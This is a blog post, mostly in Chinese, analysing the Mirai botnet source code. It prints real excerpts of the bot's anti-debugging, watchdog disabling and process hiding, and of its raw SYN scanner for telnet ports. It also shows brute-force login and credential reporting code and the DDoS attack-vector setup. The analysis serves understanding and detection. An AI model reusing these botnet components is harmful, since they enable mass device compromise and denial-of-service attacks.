Code analysis of the mirai malware

Code analysis of the mirai malware

Sun Jun 01 2025 Pin
2774 words · 16 minutes

Structure of file tree

/ *---+---- dlr // as same as loader/bins
|
+---- loader *----- bins
| |
| +---- src // upload a payload to an infected device
|
|
+---- marai *----- bot // run the payload in an infected device
| |
| +---- cnc // control and command
| |
| +---- tools // some tools, such as compiler, configuration generator
|
+---- scripts

从文件结构的构成当中,可以发现 dlr 目录是可以忽视的。此外,最最核心的目录是 loader/srcmirai/ 两个目录。

我们知道 payload 是在受害者设备上直接运行的那部分恶意代码,而 loader 的作用就是将其 drop 到这些设备上,比如宏病毒、js下载者等都属于loader的范畴。我们先给出 mirai 对应的网络拓扑关系图,可以有个直观的认识:

Overview

loader module

binary.c 将bins目录下的文件读取到内存中,以echo方式上传
connection.c loader和感染设备telnet交互
main.c 主函数
server.c 向感染设备上传payload文件
telnet_info.c 自定义解析telnet信息
util.c 一些常用的公共函数

main.c

主要负责功能调度和初始化telnet登录信息以及环境信息建立socket链接。在启动之初就会判断这个文件夹是否存在(binary.c),然后启用了一个 epoll 架构的简单服务器(epoll.c),一旦有新的连接就启动一个新的worker线程。

第一个部分是申请了两个 IP 地址,猜测 IoT 设备主要使用这两个网段

#ifdef DEBUG
addrs_len = 1;
addrs = calloc(4, sizeof (ipv4_t));
addrs[0] = inet_addr("0.0.0.0");
#else
addrs_len = 2;
addrs = calloc(addrs_len, sizeof (ipv4_t));
addrs[0] = inet_addr("192.168.0.1"); // Address to bind to
addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
#endif

读取程序的参数作为目标,读取参数也是 botnet 中的常用手法,从后面的几个家族的分析中来看使用的非常频繁,也可以防止自己被沙箱自动运行。

if (argc == 2)
{
id_tag = args[1];
}

然后可以看到 main.c 利用 binary_init() 去加载了一些可执行二进制文件(dlr.*),猜测是病毒本身了。

if (!binary_init())
{
printf("Failed to load bins/dlr.* as dropper\n");
return 1;
}

接下来就开始将线程和 cpu 核心进行绑定,提高运行的效率,这也是可以通过cpu的异常活跃来判断是否成为僵尸网络。server 采用 Linux 的高效网络事件架构 epoll。

if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
{
printf("Failed to initialize server. Aborting\n");
return 1;
}

利用 telnet_info_parse() 始化一下 telnet 的设置,方便后续爆破链接。

if (telnet_info_parse(strbuf, &info) == NULL)
printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);
else
{
if (srv == NULL)
printf("srv == NULL 2\n");
server_queue_telnet(srv, &info);
if (total++ % 1000 == 0)
sleep(1);
}

bot module

main.c

bot malware 采用 unlink(args[0]) 来实现自删除,减少被发现风险。同时针对调试原理,一旦接收到调试器发出的信号直接中断调试。

然后向在特定位置的看门狗程序发送控制码 0×80045704 禁用看门狗,以防止自动重启。通常在嵌入式设备中,固件会实现一种叫看门狗(watchdog)的功能,有一个进程会不断的向看门狗进程发送一个字节数据,这个过程叫喂狗。如果喂狗过程结束,那么设备就会重启,因此为了防止设备重启,Mirai关闭了看门狗功能。

// Delete self
unlink(args[0]);
// Signal based control flow
sigemptyset(&sigs);
sigaddset(&sigs, SIGINT);
sigprocmask(SIG_BLOCK, &sigs, NULL);
signal(SIGCHLD, SIG_IGN);
signal(SIGTRAP, &anti_gdb_entry);
// Prevent watchdog from rebooting device
if ((wfd = open("/dev/watchdog", 2)) != -1 ||
(wfd = open("/dev/misc/watchdog", 2)) != -1)
{
int one = 1;
ioctl(wfd, 0x80045704, &one);
close(wfd);
wfd = 0;
}

然后是调用用于确保只有一个实例的程序在运行。

方法是绑定一个特定的端口 。如果有进程已经占用了这个端口,就直接把它kill掉,这样每个同样的程序绑定这个端口的时候,就会被下一个启动的实例给 kill 掉。

但是同样,这个特点是检测网络设备中是否存在Mirai

隐藏进程。

  • 修改 args[0] 即运行程序的命令 和 进程名变为随机的字符。因此我可以基于该操作甄别病毒,这也是为什么这种行为已经被列为高度可疑行为。
// Hide argv0
name_buf_len = ((rand_next() % 4) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
util_strcpy(args[0], name_buf);
// Hide process name
name_buf_len = ((rand_next() % 6) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
prctl(PR_SET_NAME, name_buf);
  • 初始化攻击 attack_init()
BOOL attack_init(void)
{
int i;
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
return TRUE;
}

在这之中,只是添加了一些可以进攻的方式,还没有实际进行攻击。

Killer Module

main() 函数在此后调用了killer模块 killer_init() Killer模块主要是负责排除其他同类的病毒,以防止被抢走控制权。

在这个函数中,它会首先检测占用并杀死可能存在的进程,然后直接抢占 22/23/80 端口。这主要是为了排除异己,防止其他程序通过ssh/telnet/http 的方式获得控制权。

此后,他还会搜索特定的文件夹/proc/$pid/exe,在这个文件夹中包含了所有正在运行中的进程的程序链接,然后它通过链接直接看程序的真实名称是否含有 .anime 一旦含有就直接杀死。

实际上这个程序在添加了其他逻辑之后,很快就能针对其他程序进行清除。这里大概只是用 anime 做了一个典型而已。毕竟Mirai还扫描了/proc/$pid/status文件,在这个文件中存着进程的一些信息,Killer 模块也能根据这些信息对特定的进程进行杀死。

Scanner module

在killer之后,在主循环之前,main() 调用了一个Scanner模块scanner_init()。Scanner即扫描器,他所做的是扫描网络中其它未被感染的主机,然后用弱口令尝试登陆,并将能登陆的主机的信息上报给loader,然后由 loader 对主机进行侵略。

在此模块中,扫描的ip地址是随机生成的,并会排除一定的ip地址:

do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);

在此后列出了一系列的弱密码。之后是快速扫描以测试存活主机是否存在弱口令。下面这段代码批量对 23 和 2323 端口发送 SYN 数据包,只对有 response 的地址进行响应。

if (fake_time != last_spew)
{
last_spew = fake_time;
for (i = 0; i < SCANNER_RAW_PPS; i++)
{
struct sockaddr_in paddr = {0};
struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
iph->id = rand_next();
iph->saddr = LOCAL_ADDR;
iph->daddr = get_random_ip();
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
if (i % 10 == 0)
{
tcph->dest = htons(2323);
}
else
{
tcph->dest = htons(23);
}
tcph->seq = iph->daddr;
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
paddr.sin_family = AF_INET;
paddr.sin_addr.s_addr = iph->daddr;
paddr.sin_port = tcph->dest;
sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
}
}

由于使用的是UDP协议,要从获得的数据包中快速筛选出真正的响应的包

errno = 0;
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
break;
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
continue;
if (iph->daddr != LOCAL_ADDR)
continue;
if (iph->protocol != IPPROTO_TCP)
continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
continue;
if (tcph->dest != source_port)
continue;
if (!tcph->syn)
continue;
if (!tcph->ack)
continue;
if (tcph->rst)
continue;
if (tcph->fin)
continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
continue;

我们会过滤掉:

  1. 不完整的包
  2. 目标非本机地址的包
  3. 目标非TCP协议的包
  4. 目标来源非23或2323的包
  5. 目标非特定端口的包
  6. 是SYN或ACK信号
  7. 不是RST和FIN信号
  8. 最后还判断其ACK序列号是否与前一个相同

之后将存活的设备保存到一个数组中。然后随机选取之前设置的弱口令进行爆破:

if (FD_ISSET(conn->fd, &fdset_wr))
{
int err = 0, ret = 0;
socklen_t err_len = sizeof (err);
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err == 0 && ret == 0)
{
conn->state = SC_HANDLE_IACS;
conn->auth = random_auth_entry();
conn->rdbuf_pos = 0;
#ifdef DEBUG
printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);
#endif
}
else
{
#ifdef DEBUG
printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
#endif
close(conn->fd);
conn->fd = -1;
conn->tries = 0;
conn->state = SC_CLOSED;
continue;
}
}

然后发送一系列命令判断登录成功与否。若成功,尝试一些操作,并上报loader。上报 loader 的行为如下:

uint8_t zero = 0;
send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);
send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);
send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);

Attack module

在做完了上面这两个模块的内容之后,就进入了bot的主循环,它会主动连接CNC节点并等待CNC节点的指令使用 attackparse 进行解析。

在这里有个小trick,在前面是设定了CNC节点的IP地址和端口 FAKE_CNC_ADDRFAKE_CNC_PORT,但是实际在连接中,这是一个虚假的IP地址和端口,用于迷惑对这个代码进行debug的开发者。真正的IP和端口是在 table.c 中硬编码写入的cnc.changeme.com8.8.8.8做DNS解析之后得到的,然后在连接前使用resolve_func()函数对地址进行了修改写入了真的IP地址。

在建立连接后,bot根据接收到的指令(目标数,IP地址,掩码),对目标进行攻击。

attack_app.cattack_gre.cattack_tcp.cattack_udp.c中分别定义了四大类的攻击类型,然后使用函数指针模拟多态地进行调用。其中攻击的方式大多是通过socket建立大量的SYN包,然后发给目标地址。

Summary

  1. 代码结构概览
    • bot:感染设备后驻留的恶意程序(扫描目标、发起攻击)。
    • cnc:命令控制服务器(C&C)源码,用于与僵尸网络通信。
    • loader:负责传播Mirai(漏洞利用、暴力破解Telnet/SSH)。
    • tools:编译工具、加密配置生成器等。
  2. 关键技术特点
    • 传播手段:通过默认弱密码字典(admin/admin等)暴力破解Telnet服务,利用已知漏洞(如CVE-2014-8361)。
    • 隐蔽性:杀死设备上的竞争恶意进程、隐藏自身进程、驻留内存。
    • 攻击能力:支持多种DDoS攻击(TCP/UDP洪水、HTTP层攻击)。
    • 加密通信:C&C与Bot间使用自定义加密协议(XOR+随机字节混淆)。

Reference


Thanks for reading!

Code analysis of the mirai malware

Sun Jun 01 2025 Pin
2774 words · 16 minutes